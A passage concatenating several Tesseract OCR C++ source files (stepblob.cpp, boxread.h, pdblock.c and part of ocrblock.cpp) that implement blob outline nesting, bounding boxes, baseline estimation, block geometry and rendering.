** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "genblob.h"
#include "stepblob.h"
/**********************************************************************
* c_blob_comparator()
*
* Blob comparator used to sort a blob list so that blobs are in increasing
* order of left edge.
**********************************************************************/
int c_blob_comparator( // sort blobs
const void *blob1p, // ptr to ptr to blob1
const void *blob2p // ptr to ptr to blob2
) {
C_BLOB *blob1 = *(C_BLOB **) blob1p;
C_BLOB *blob2 = *(C_BLOB **) blob2p;
return blob1->bounding_box ().left () - blob2->bounding_box ().left ();
}
| C++ |
/**********************************************************************
* File: stepblob.cpp (Formerly cblob.c)
* Description: Code for C_BLOB class.
* Author: Ray Smith
* Created: Tue Oct 08 10:41:13 BST 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include "stepblob.h"
#include "allheaders.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
// Max perimeter to width ratio for a baseline position above box bottom.
const double kMaxPerimeterWidthRatio = 8.0;
ELISTIZE (C_BLOB)
/**********************************************************************
* position_outline
*
* Position the outline in the given list at the relevant place
* according to its nesting.
**********************************************************************/
static void position_outline( //put in place
C_OUTLINE *outline, //thing to place
C_OUTLINE_LIST *destlist //desstination list
) {
C_OUTLINE *dest_outline; //outline from dest list
C_OUTLINE_IT it = destlist; //iterator
//iterator on children
C_OUTLINE_IT child_it = outline->child ();
if (!it.empty ()) {
do {
dest_outline = it.data (); //get destination
//encloses dest
if (*dest_outline < *outline) {
//take off list
dest_outline = it.extract ();
//put this in place
it.add_after_then_move (outline);
//make it a child
child_it.add_to_end (dest_outline);
while (!it.at_last ()) {
it.forward (); //do rest of list
//check for other children
dest_outline = it.data ();
if (*dest_outline < *outline) {
//take off list
dest_outline = it.extract ();
child_it.add_to_end (dest_outline);
//make it a child
if (it.empty ())
break;
}
}
return; //finished
}
//enclosed by dest
else if (*outline < *dest_outline) {
position_outline (outline, dest_outline->child ());
//place in child list
return; //finished
}
it.forward ();
}
while (!it.at_first ());
}
it.add_to_end (outline); //at outer level
}
/**********************************************************************
* plot_outline_list
*
* Draw a list of outlines in the given colour and their children
* in the child colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
static void plot_outline_list( //draw outlines
C_OUTLINE_LIST *list, //outline to draw
ScrollView* window, //window to draw in
ScrollView::Color colour, //colour to use
ScrollView::Color child_colour //colour of children
) {
C_OUTLINE *outline; //current outline
C_OUTLINE_IT it = list; //iterator
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
outline = it.data ();
//draw it
outline->plot (window, colour);
if (!outline->child ()->empty ())
plot_outline_list (outline->child (), window,
child_colour, child_colour);
}
}
// Draws the outlines in the given colour, and child_colour, normalized
// using the given denorm, making use of sub-pixel accurate information
// if available.
static void plot_normed_outline_list(const DENORM& denorm,
C_OUTLINE_LIST *list,
ScrollView::Color colour,
ScrollView::Color child_colour,
ScrollView* window) {
C_OUTLINE_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
outline->plot_normed(denorm, colour, window);
if (!outline->child()->empty())
plot_normed_outline_list(denorm, outline->child(), child_colour,
child_colour, window);
}
}
#endif
/**********************************************************************
* reverse_outline_list
*
* Reverse a list of outlines and their children.
**********************************************************************/
static void reverse_outline_list(C_OUTLINE_LIST *list) {
C_OUTLINE_IT it = list; // iterator
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
outline->reverse(); // reverse it
outline->set_flag(COUT_INVERSE, TRUE);
if (!outline->child()->empty())
reverse_outline_list(outline->child());
}
}
/**********************************************************************
* C_BLOB::C_BLOB
*
* Constructor to build a C_BLOB from a list of C_OUTLINEs.
* The C_OUTLINEs are not copied so the source list is emptied.
* The C_OUTLINEs are nested correctly in the blob.
**********************************************************************/
C_BLOB::C_BLOB(C_OUTLINE_LIST *outline_list) {
for (C_OUTLINE_IT ol_it(outline_list); !ol_it.empty(); ol_it.forward()) {
C_OUTLINE* outline = ol_it.extract();
// Position this outline in appropriate position in the hierarchy.
position_outline(outline, &outlines);
}
CheckInverseFlagAndDirection();
}
// Simpler constructor to build a blob from a single outline that has
// already been fully initialized.
C_BLOB::C_BLOB(C_OUTLINE* outline) {
C_OUTLINE_IT it(&outlines);
it.add_to_end(outline);
}
// Builds a set of one or more blobs from a list of outlines.
// Input: one outline on outline_list contains all the others, but the
// nesting and order are undefined.
// If good_blob is true, the blob is added to good_blobs_it, unless
// an illegal (generation-skipping) parent-child relationship is found.
// If so, the parent blob goes to bad_blobs_it, and the immediate children
// are promoted to the top level, recursively being sent to good_blobs_it.
// If good_blob is false, all created blobs will go to the bad_blobs_it.
// Output: outline_list is empty. One or more blobs are added to
// good_blobs_it and/or bad_blobs_it.
void C_BLOB::ConstructBlobsFromOutlines(bool good_blob,
C_OUTLINE_LIST* outline_list,
C_BLOB_IT* good_blobs_it,
C_BLOB_IT* bad_blobs_it) {
// List of top-level outlines with correctly nested children.
C_OUTLINE_LIST nested_outlines;
for (C_OUTLINE_IT ol_it(outline_list); !ol_it.empty(); ol_it.forward()) {
C_OUTLINE* outline = ol_it.extract();
// Position this outline in appropriate position in the hierarchy.
position_outline(outline, &nested_outlines);
}
// Check for legal nesting and reassign as required.
for (C_OUTLINE_IT ol_it(&nested_outlines); !ol_it.empty(); ol_it.forward()) {
C_OUTLINE* outline = ol_it.extract();
bool blob_is_good = good_blob;
if (!outline->IsLegallyNested()) {
// The blob is illegally nested.
// Mark it bad, and add all its children to the top-level list.
blob_is_good = false;
ol_it.add_list_after(outline->child());
}
C_BLOB* blob = new C_BLOB(outline);
// Set inverse flag and reverse if needed.
blob->CheckInverseFlagAndDirection();
// Put on appropriate list.
if (!blob_is_good && bad_blobs_it != NULL)
bad_blobs_it->add_after_then_move(blob);
else
good_blobs_it->add_after_then_move(blob);
}
}
// Sets the COUT_INVERSE flag appropriately on the outlines and their
// children recursively, reversing the outlines if needed so that
// everything has an anticlockwise top-level.
void C_BLOB::CheckInverseFlagAndDirection() {
C_OUTLINE_IT ol_it(&outlines);
for (ol_it.mark_cycle_pt(); !ol_it.cycled_list(); ol_it.forward()) {
C_OUTLINE* outline = ol_it.data();
if (outline->turn_direction() < 0) {
outline->reverse();
reverse_outline_list(outline->child());
outline->set_flag(COUT_INVERSE, TRUE);
} else {
outline->set_flag(COUT_INVERSE, FALSE);
}
}
}
// Build and return a fake blob containing a single fake outline with no
// steps.
C_BLOB* C_BLOB::FakeBlob(const TBOX& box) {
C_OUTLINE_LIST outlines;
C_OUTLINE::FakeOutline(box, &outlines);
return new C_BLOB(&outlines);
}
/**********************************************************************
* C_BLOB::bounding_box
*
* Return the bounding box of the blob.
**********************************************************************/
TBOX C_BLOB::bounding_box() const { // bounding box
C_OUTLINE *outline; // current outline
// This is a read-only iteration of the outlines.
C_OUTLINE_IT it = const_cast<C_OUTLINE_LIST*>(&outlines);
TBOX box; // bounding box
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
outline = it.data ();
box += outline->bounding_box ();
}
return box;
}
/**********************************************************************
* C_BLOB::area
*
* Return the area of the blob.
**********************************************************************/
inT32 C_BLOB::area() { //area
C_OUTLINE *outline; //current outline
C_OUTLINE_IT it = &outlines; //outlines of blob
inT32 total; //total area
total = 0;
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
outline = it.data ();
total += outline->area ();
}
return total;
}
/**********************************************************************
* C_BLOB::perimeter
*
* Return the perimeter of the top and 2nd level outlines.
**********************************************************************/
inT32 C_BLOB::perimeter() {
C_OUTLINE *outline; // current outline
C_OUTLINE_IT it = &outlines; // outlines of blob
inT32 total; // total perimeter
total = 0;
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
outline = it.data();
total += outline->perimeter();
}
return total;
}
/**********************************************************************
* C_BLOB::outer_area
*
* Return the area of the blob.
**********************************************************************/
inT32 C_BLOB::outer_area() { //area
C_OUTLINE *outline; //current outline
C_OUTLINE_IT it = &outlines; //outlines of blob
inT32 total; //total area
total = 0;
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
outline = it.data ();
total += outline->outer_area ();
}
return total;
}
/**********************************************************************
* C_BLOB::count_transitions
*
* Return the total x and y maxes and mins in the blob.
* Chlid outlines are not counted.
**********************************************************************/
inT32 C_BLOB::count_transitions( //area
inT32 threshold //on size
) {
C_OUTLINE *outline; //current outline
C_OUTLINE_IT it = &outlines; //outlines of blob
inT32 total; //total area
total = 0;
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
outline = it.data ();
total += outline->count_transitions (threshold);
}
return total;
}
/**********************************************************************
* C_BLOB::move
*
* Move C_BLOB by vector
**********************************************************************/
void C_BLOB::move( // reposition blob
const ICOORD vec // by vector
) {
C_OUTLINE_IT it(&outlines); // iterator
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
it.data ()->move (vec); // move each outline
}
// Static helper for C_BLOB::rotate to allow recursion of child outlines.
void RotateOutlineList(const FCOORD& rotation, C_OUTLINE_LIST* outlines) {
C_OUTLINE_LIST new_outlines;
C_OUTLINE_IT src_it(outlines);
C_OUTLINE_IT dest_it(&new_outlines);
while (!src_it.empty()) {
C_OUTLINE* old_outline = src_it.extract();
src_it.forward();
C_OUTLINE* new_outline = new C_OUTLINE(old_outline, rotation);
if (!old_outline->child()->empty()) {
RotateOutlineList(rotation, old_outline->child());
C_OUTLINE_IT child_it(new_outline->child());
child_it.add_list_after(old_outline->child());
}
delete old_outline;
dest_it.add_to_end(new_outline);
}
src_it.add_list_after(&new_outlines);
}
/**********************************************************************
* C_BLOB::rotate
*
* Rotate C_BLOB by rotation.
* Warning! has to rebuild all the C_OUTLINEs.
**********************************************************************/
void C_BLOB::rotate(const FCOORD& rotation) {
RotateOutlineList(rotation, &outlines);
}
// Helper calls ComputeEdgeOffsets or ComputeBinaryOffsets recursively on the
// outline list and its children.
static void ComputeEdgeOffsetsOutlineList(int threshold, Pix* pix,
C_OUTLINE_LIST *list) {
C_OUTLINE_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
if (pix != NULL && pixGetDepth(pix) == 8)
outline->ComputeEdgeOffsets(threshold, pix);
else
outline->ComputeBinaryOffsets();
if (!outline->child()->empty())
ComputeEdgeOffsetsOutlineList(threshold, pix, outline->child());
}
}
// Adds sub-pixel resolution EdgeOffsets for the outlines using greyscale
// if the supplied pix is 8-bit or the binary edges if NULL.
void C_BLOB::ComputeEdgeOffsets(int threshold, Pix* pix) {
ComputeEdgeOffsetsOutlineList(threshold, pix, &outlines);
}
// Estimates and returns the baseline position based on the shape of the
// outlines.
// We first find the minimum y-coord (y_mins) at each x-coord within the blob.
// If there is a run of some y or y+1 in y_mins that is longer than the total
// number of positions at bottom or bottom+1, subject to the additional
// condition that at least one side of the y/y+1 run is higher than y+1, so it
// is not a local minimum, then y, not the bottom, makes a good candidate
// baseline position for this blob. Eg
// | ---|
// | |
// |- -----------| <= Good candidate baseline position.
// |- -|
// | -|
// |---| <= Bottom of blob
inT16 C_BLOB::EstimateBaselinePosition() {
TBOX box = bounding_box();
int left = box.left();
int width = box.width();
int bottom = box.bottom();
if (outlines.empty() || perimeter() > width * kMaxPerimeterWidthRatio)
return bottom; // This is only for non-CJK blobs.
// Get the minimum y coordinate at each x-coordinate.
GenericVector<int> y_mins;
y_mins.init_to_size(width + 1, box.top());
C_OUTLINE_IT it(&outlines);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
ICOORD pos = outline->start_pos();
for (int s = 0; s < outline->pathlength(); ++s) {
if (pos.y() < y_mins[pos.x() - left])
y_mins[pos.x() - left] = pos.y();
pos += outline->step(s);
}
}
// Find the total extent of the bottom or bottom + 1.
int bottom_extent = 0;
for (int x = 0; x <= width; ++x) {
if (y_mins[x] == bottom || y_mins[x] == bottom + 1)
++bottom_extent;
}
// Find the lowest run longer than the bottom extent that is not the bottom.
int best_min = box.top();
int prev_run = 0;
int prev_y = box.top();
int prev_prev_y = box.top();
for (int x = 0; x < width; x += prev_run) {
// Find the length of the current run.
int y_at_x = y_mins[x];
int run = 1;
while (x + run <= width && y_mins[x + run] == y_at_x) ++run;
if (y_at_x > bottom + 1) {
// Possible contender.
int total_run = run;
// Find extent of current value or +1 to the right of x.
while (x + total_run <= width &&
(y_mins[x + total_run] == y_at_x ||
y_mins[x + total_run] == y_at_x + 1)) ++total_run;
// At least one end has to be higher so it is not a local max.
if (prev_prev_y > y_at_x + 1 || x + total_run > width ||
y_mins[x + total_run] > y_at_x + 1) {
// If the prev_run is at y + 1, then we can add that too. There cannot
// be a suitable run at y before that or we would have found it already.
if (prev_run > 0 && prev_y == y_at_x + 1) total_run += prev_run;
if (total_run > bottom_extent && y_at_x < best_min) {
best_min = y_at_x;
}
}
}
prev_run = run;
prev_prev_y = prev_y;
prev_y = y_at_x;
}
return best_min == box.top() ? bottom : best_min;
}
static void render_outline_list(C_OUTLINE_LIST *list,
int left, int top, Pix* pix) {
C_OUTLINE_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
outline->render(left, top, pix);
if (!outline->child()->empty())
render_outline_list(outline->child(), left, top, pix);
}
}
static void render_outline_list_outline(C_OUTLINE_LIST *list,
int left, int top, Pix* pix) {
C_OUTLINE_IT it(list);
for (it.mark_cycle_pt(); !it.cycled_list(); it.forward()) {
C_OUTLINE* outline = it.data();
outline->render_outline(left, top, pix);
}
}
// Returns a Pix rendering of the blob. pixDestroy after use.
Pix* C_BLOB::render() {
TBOX box = bounding_box();
Pix* pix = pixCreate(box.width(), box.height(), 1);
render_outline_list(&outlines, box.left(), box.top(), pix);
return pix;
}
// Returns a Pix rendering of the outline of the blob. (no fill).
// pixDestroy after use.
Pix* C_BLOB::render_outline() {
TBOX box = bounding_box();
Pix* pix = pixCreate(box.width(), box.height(), 1);
render_outline_list_outline(&outlines, box.left(), box.top(), pix);
return pix;
}
/**********************************************************************
* C_BLOB::plot
*
* Draw the C_BLOB in the given colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void C_BLOB::plot(ScrollView* window, // window to draw in
ScrollView::Color blob_colour, // main colour
ScrollView::Color child_colour) { // for holes
plot_outline_list(&outlines, window, blob_colour, child_colour);
}
// Draws the blob in the given colour, and child_colour, normalized
// using the given denorm, making use of sub-pixel accurate information
// if available.
void C_BLOB::plot_normed(const DENORM& denorm,
ScrollView::Color blob_colour,
ScrollView::Color child_colour,
ScrollView* window) {
plot_normed_outline_list(denorm, &outlines, blob_colour, child_colour,
window);
}
#endif
| C++ |
/**********************************************************************
* File: boxread.cpp
* Description: Read data from a box file.
* Author: Ray Smith
* Created: Fri Aug 24 17:47:23 PDT 2007
*
* (C) Copyright 2007, Google Inc.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#ifndef TESSERACT_CCUTIL_BOXREAD_H__
#define TESSERACT_CCUTIL_BOXREAD_H__
#include <stdio.h>
#include "genericvector.h"
#include "strngs.h"
class STRING;
class TBOX;
// Size of buffer used to read a line from a box file.
const int kBoxReadBufSize = 1024;
// Open the boxfile based on the given image filename.
// Returns NULL if the box file cannot be opened.
FILE* OpenBoxFile(const STRING& fname);
// Reads all boxes from the given filename.
// Reads a specific target_page number if >= 0, or all pages otherwise.
// Skips blanks if skip_blanks is true.
// The UTF-8 label of the box is put in texts, and the full box definition as
// a string is put in box_texts, with the corresponding page number in pages.
// Each of the output vectors is optional (may be NULL).
// Returns false if no boxes are found.
bool ReadAllBoxes(int target_page, bool skip_blanks, const STRING& filename,
GenericVector<TBOX>* boxes,
GenericVector<STRING>* texts,
GenericVector<STRING>* box_texts,
GenericVector<int>* pages);
// Reads all boxes from the string. Otherwise, as ReadAllBoxes.
bool ReadMemBoxes(int target_page, bool skip_blanks, const char* box_data,
GenericVector<TBOX>* boxes,
GenericVector<STRING>* texts,
GenericVector<STRING>* box_texts,
GenericVector<int>* pages);
// Returns the box file name corresponding to the given image_filename.
STRING BoxFileName(const STRING& image_filename);
// ReadNextBox factors out the code to interpret a line of a box
// file so that applybox and unicharset_extractor interpret the same way.
// This function returns the next valid box file utf8 string and coords
// and returns true, or false on eof (and closes the file).
// It ignores the utf8 file signature ByteOrderMark (U+FEFF=EF BB BF), checks
// for valid utf-8 and allows space or tab between fields.
// utf8_str is set with the unichar string, and bounding box with the box.
// If there are page numbers in the file, it reads them all.
bool ReadNextBox(int *line_number, FILE* box_file,
STRING* utf8_str, TBOX* bounding_box);
// As ReadNextBox above, but get a specific page number. (0-based)
// Use -1 to read any page number. Files without page number all
// read as if they are page 0.
bool ReadNextBox(int target_page, int *line_number, FILE* box_file,
STRING* utf8_str, TBOX* bounding_box);
// Parses the given box file string into a page_number, utf8_str, and
// bounding_box. Returns true on a successful parse.
bool ParseBoxFileStr(const char* boxfile_str, int* page_number,
STRING* utf8_str, TBOX* bounding_box);
// Creates a box file string from a unichar string, TBOX and page number.
void MakeBoxFileStr(const char* unichar_str, const TBOX& box, int page_num,
STRING* box_str);
#endif // TESSERACT_CCUTIL_BOXREAD_H__
| C++ |
/**********************************************************************
* File: pdblock.c (Formerly pdblk.c)
* Description: PDBLK member functions and iterator functions.
* Author: Ray Smith
* Created: Fri Mar 15 09:41:28 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdlib.h>
#include "allheaders.h"
#include "blckerr.h"
#include "pdblock.h"
// Include automatically generated configuration file if running autoconf.
#ifdef HAVE_CONFIG_H
#include "config_auto.h"
#endif
#define BLOCK_LABEL_HEIGHT 150 //char height of block id
CLISTIZE (PDBLK)
/**********************************************************************
* PDBLK::PDBLK
*
* Constructor for a simple rectangular block.
**********************************************************************/
PDBLK::PDBLK ( //rectangular block
inT16 xmin, //bottom left
inT16 ymin, inT16 xmax, //top right
inT16 ymax): box (ICOORD (xmin, ymin), ICOORD (xmax, ymax)) {
//boundaries
ICOORDELT_IT left_it = &leftside;
ICOORDELT_IT right_it = &rightside;
hand_poly = NULL;
left_it.set_to_list (&leftside);
right_it.set_to_list (&rightside);
//make default box
left_it.add_to_end (new ICOORDELT (xmin, ymin));
left_it.add_to_end (new ICOORDELT (xmin, ymax));
right_it.add_to_end (new ICOORDELT (xmax, ymin));
right_it.add_to_end (new ICOORDELT (xmax, ymax));
index_ = 0;
}
/**********************************************************************
* PDBLK::set_sides
*
* Sets left and right vertex lists
**********************************************************************/
void PDBLK::set_sides( //set vertex lists
ICOORDELT_LIST *left, //left vertices
ICOORDELT_LIST *right //right vertices
) {
//boundaries
ICOORDELT_IT left_it = &leftside;
ICOORDELT_IT right_it = &rightside;
leftside.clear ();
left_it.move_to_first ();
left_it.add_list_before (left);
rightside.clear ();
right_it.move_to_first ();
right_it.add_list_before (right);
}
/**********************************************************************
* PDBLK::contains
*
* Return TRUE if the given point is within the block.
**********************************************************************/
BOOL8 PDBLK::contains( //test containment
ICOORD pt //point to test
) {
BLOCK_RECT_IT it = this; //rectangle iterator
ICOORD bleft, tright; //corners of rectangle
for (it.start_block (); !it.cycled_rects (); it.forward ()) {
//get rectangle
it.bounding_box (bleft, tright);
//inside rect
if (pt.x () >= bleft.x () && pt.x () <= tright.x ()
&& pt.y () >= bleft.y () && pt.y () <= tright.y ())
return TRUE; //is inside
}
return FALSE; //not inside
}
/**********************************************************************
* PDBLK::move
*
* Reposition block
**********************************************************************/
void PDBLK::move( // reposition block
const ICOORD vec // by vector
) {
ICOORDELT_IT it(&leftside);
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
*(it.data ()) += vec;
it.set_to_list (&rightside);
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ())
*(it.data ()) += vec;
box.move (vec);
}
// Returns a binary Pix mask with a 1 pixel for every pixel within the
// block. Rotates the coordinate system by rerotation prior to rendering.
Pix* PDBLK::render_mask(const FCOORD& rerotation) {
TBOX rotated_box(box);
rotated_box.rotate(rerotation);
Pix* pix = pixCreate(rotated_box.width(), rotated_box.height(), 1);
if (hand_poly != NULL) {
// We are going to rotate, so get a deep copy of the points and
// make a new POLY_BLOCK with it.
ICOORDELT_LIST polygon;
polygon.deep_copy(hand_poly->points(), ICOORDELT::deep_copy);
POLY_BLOCK image_block(&polygon, hand_poly->isA());
image_block.rotate(rerotation);
// Block outline is a polygon, so use a PB_LINE_IT to get the
// rasterized interior. (Runs of interior pixels on a line.)
PB_LINE_IT *lines = new PB_LINE_IT(&image_block);
for (int y = box.bottom(); y < box.top(); ++y) {
ICOORDELT_LIST* segments = lines->get_line(y);
if (!segments->empty()) {
ICOORDELT_IT s_it(segments);
// Each element of segments is a start x and x size of the
// run of interior pixels.
for (s_it.mark_cycle_pt(); !s_it.cycled_list(); s_it.forward()) {
int start = s_it.data()->x();
int xext = s_it.data()->y();
// Set the run of pixels to 1.
pixRasterop(pix, start - rotated_box.left(),
rotated_box.height() - 1 - (y - rotated_box.bottom()),
xext, 1, PIX_SET, NULL, 0, 0);
}
}
delete segments;
}
delete lines;
} else {
// Just fill the whole block as there is only a bounding box.
pixRasterop(pix, 0, 0, rotated_box.width(), rotated_box.height(),
PIX_SET, NULL, 0, 0);
}
return pix;
}
/**********************************************************************
* PDBLK::plot
*
* Plot the outline of a block in the given colour.
**********************************************************************/
#ifndef GRAPHICS_DISABLED
void PDBLK::plot( //draw outline
ScrollView* window, //window to draw in
inT32 serial, //serial number
ScrollView::Color colour //colour to draw in
) {
ICOORD startpt; //start of outline
ICOORD endpt; //end of outline
ICOORD prevpt; //previous point
ICOORDELT_IT it = &leftside; //iterator
//set the colour
window->Pen(colour);
window->TextAttributes("Times", BLOCK_LABEL_HEIGHT, false, false, false);
if (hand_poly != NULL) {
hand_poly->plot(window, serial);
} else if (!leftside.empty ()) {
startpt = *(it.data ()); //bottom left corner
// tprintf("Block %d bottom left is (%d,%d)\n",
// serial,startpt.x(),startpt.y());
char temp_buff[34];
#if defined(__UNIX__) || defined(MINGW)
sprintf(temp_buff, INT32FORMAT, serial);
#else
ultoa (serial, temp_buff, 10);
#endif
window->Text(startpt.x (), startpt.y (), temp_buff);
window->SetCursor(startpt.x (), startpt.y ());
do {
prevpt = *(it.data ()); //previous point
it.forward (); //move to next point
//draw round corner
window->DrawTo(prevpt.x (), it.data ()->y ());
window->DrawTo(it.data ()->x (), it.data ()->y ());
}
while (!it.at_last ()); //until end of list
endpt = *(it.data ()); //end point
//other side of boundary
window->SetCursor(startpt.x (), startpt.y ());
it.set_to_list (&rightside);
prevpt = startpt;
for (it.mark_cycle_pt (); !it.cycled_list (); it.forward ()) {
//draw round corner
window->DrawTo(prevpt.x (), it.data ()->y ());
window->DrawTo(it.data ()->x (), it.data ()->y ());
prevpt = *(it.data ()); //previous point
}
//close boundary
window->DrawTo(endpt.x(), endpt.y());
}
}
#endif
/**********************************************************************
* PDBLK::operator=
*
* Assignment - duplicate the block structure, but with an EMPTY row list.
**********************************************************************/
PDBLK & PDBLK::operator= ( //assignment
const PDBLK & source //from this
) {
// this->ELIST_LINK::operator=(source);
if (!leftside.empty ())
leftside.clear ();
if (!rightside.empty ())
rightside.clear ();
leftside.deep_copy(&source.leftside, &ICOORDELT::deep_copy);
rightside.deep_copy(&source.rightside, &ICOORDELT::deep_copy);
box = source.box;
return *this;
}
/**********************************************************************
* BLOCK_RECT_IT::BLOCK_RECT_IT
*
* Construct a block rectangle iterator.
**********************************************************************/
BLOCK_RECT_IT::BLOCK_RECT_IT (
//iterate rectangles
PDBLK * blkptr //from block
):left_it (&blkptr->leftside), right_it (&blkptr->rightside) {
block = blkptr; //remember block
//non empty list
if (!blkptr->leftside.empty ()) {
start_block(); //ready for iteration
}
}
/**********************************************************************
* BLOCK_RECT_IT::set_to_block
*
* Start a new block.
**********************************************************************/
void BLOCK_RECT_IT::set_to_block( //start (new) block
PDBLK *blkptr) { //block to start
block = blkptr; //remember block
//set iterators
left_it.set_to_list (&blkptr->leftside);
right_it.set_to_list (&blkptr->rightside);
if (!blkptr->leftside.empty ())
start_block(); //ready for iteration
}
/**********************************************************************
* BLOCK_RECT_IT::start_block
*
* Restart a block.
**********************************************************************/
void BLOCK_RECT_IT::start_block() { //start (new) block
left_it.move_to_first ();
right_it.move_to_first ();
left_it.mark_cycle_pt ();
right_it.mark_cycle_pt ();
ymin = left_it.data ()->y (); //bottom of first box
ymax = left_it.data_relative (1)->y ();
if (right_it.data_relative (1)->y () < ymax)
//smallest step
ymax = right_it.data_relative (1)->y ();
}
/**********************************************************************
* BLOCK_RECT_IT::forward
*
* Move to the next rectangle in the block.
**********************************************************************/
void BLOCK_RECT_IT::forward() { //next rectangle
if (!left_it.empty ()) { //non-empty list
if (left_it.data_relative (1)->y () == ymax)
left_it.forward (); //move to meet top
if (right_it.data_relative (1)->y () == ymax)
right_it.forward ();
//last is special
if (left_it.at_last () || right_it.at_last ()) {
left_it.move_to_first (); //restart
right_it.move_to_first ();
//now at bottom
ymin = left_it.data ()->y ();
}
else {
ymin = ymax; //new bottom
}
//next point
ymax = left_it.data_relative (1)->y ();
if (right_it.data_relative (1)->y () < ymax)
//least step forward
ymax = right_it.data_relative (1)->y ();
}
}
/**********************************************************************
* BLOCK_LINE_IT::get_line
*
* Get the the start and width of a line in the block.
**********************************************************************/
inT16 BLOCK_LINE_IT::get_line( //get a line
inT16 y, //line to get
inT16 &xext //output extent
) {
ICOORD bleft; //bounding box
ICOORD tright; //of block & rect
//get block box
block->bounding_box (bleft, tright);
if (y < bleft.y () || y >= tright.y ()) {
// block->print(stderr,FALSE);
BADBLOCKLINE.error ("BLOCK_LINE_IT::get_line", ABORT, "Y=%d", y);
}
//get rectangle box
rect_it.bounding_box (bleft, tright);
//inside rectangle
if (y >= bleft.y () && y < tright.y ()) {
//width of line
xext = tright.x () - bleft.x ();
return bleft.x (); //start of line
}
for (rect_it.start_block (); !rect_it.cycled_rects (); rect_it.forward ()) {
//get rectangle box
rect_it.bounding_box (bleft, tright);
//inside rectangle
if (y >= bleft.y () && y < tright.y ()) {
//width of line
xext = tright.x () - bleft.x ();
return bleft.x (); //start of line
}
}
LOSTBLOCKLINE.error ("BLOCK_LINE_IT::get_line", ABORT, "Y=%d", y);
return 0; //dummy to stop warning
}
| C++ |
/**********************************************************************
* File: ocrblock.cpp (Formerly block.c)
* Description: BLOCK member functions and iterator functions.
* Author: Ray Smith
* Created: Fri Mar 15 09:41:28 GMT 1991
*
* (C) Copyright 1991, Hewlett-Packard Ltd.
** Licensed under the Apache License, Version 2.0 (the "License");
** you may not use this file except in compliance with the License.
** You may obtain a copy of the License at
** http://www.apache.org/licenses/LICENSE-2.0
** Unless required by applicable law or agreed to in writing, software
** distributed under the License is distributed on an "AS IS" BASIS,
** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
** See the License for the specific language governing permissions and
** limitations under the License.
*
**********************************************************************/
#include <stdlib.h>
#include "blckerr.h"
#include "ocrblock.h"
#include "stepblob.h"
#include "tprintf.h"
#define BLOCK_LABEL_HEIGHT 150 //char height of block id
ELISTIZE (BLOCK)
/**
* BLOCK::BLOCK
*
* Constructor for a simple rectangular block.
*/
BLOCK::BLOCK(const char *name, //< filename
BOOL8 prop, //< proportional
inT16 kern, //< kerning
inT16 space, //< spacing
inT16 xmin, //< bottom left
inT16 ymin, inT16 xmax, //< top right
inT16 ymax)
: PDBLK (xmin, ymin, xmax, ymax),
filename(name),
re_rotation_(1.0f, 0.0f),
classify_rotation_(1.0f, 0.0f),
skew_(1.0f, 0.0f) {
ICOORDELT_IT left_it = &leftside;
ICOORDELT_IT right_it = &rightside;
proportional = prop;
right_to_left_ = false;
kerning = kern;
spacing = space;
font_class = -1; //not assigned
cell_over_xheight_ = 2.0f;
hand_poly = NULL;
left_it.set_to_list (&leftside);
right_it.set_to_list (&rightside);
//make default box
left_it.add_to_end (new ICOORDELT (xmin, ymin));
left_it.add_to_end (new ICOORDELT (xmin, ymax));
right_it.add_to_end (new ICOORDELT (xmax, ymin));
right_it.add_to_end (new ICOORDELT (xmax, ymax));
}
/**
* decreasing_top_order
*
* Sort Comparator: Return <0 if row1 top < row2 top
*/
int decreasing_top_order( //
const void *row1,
const void *row2) {
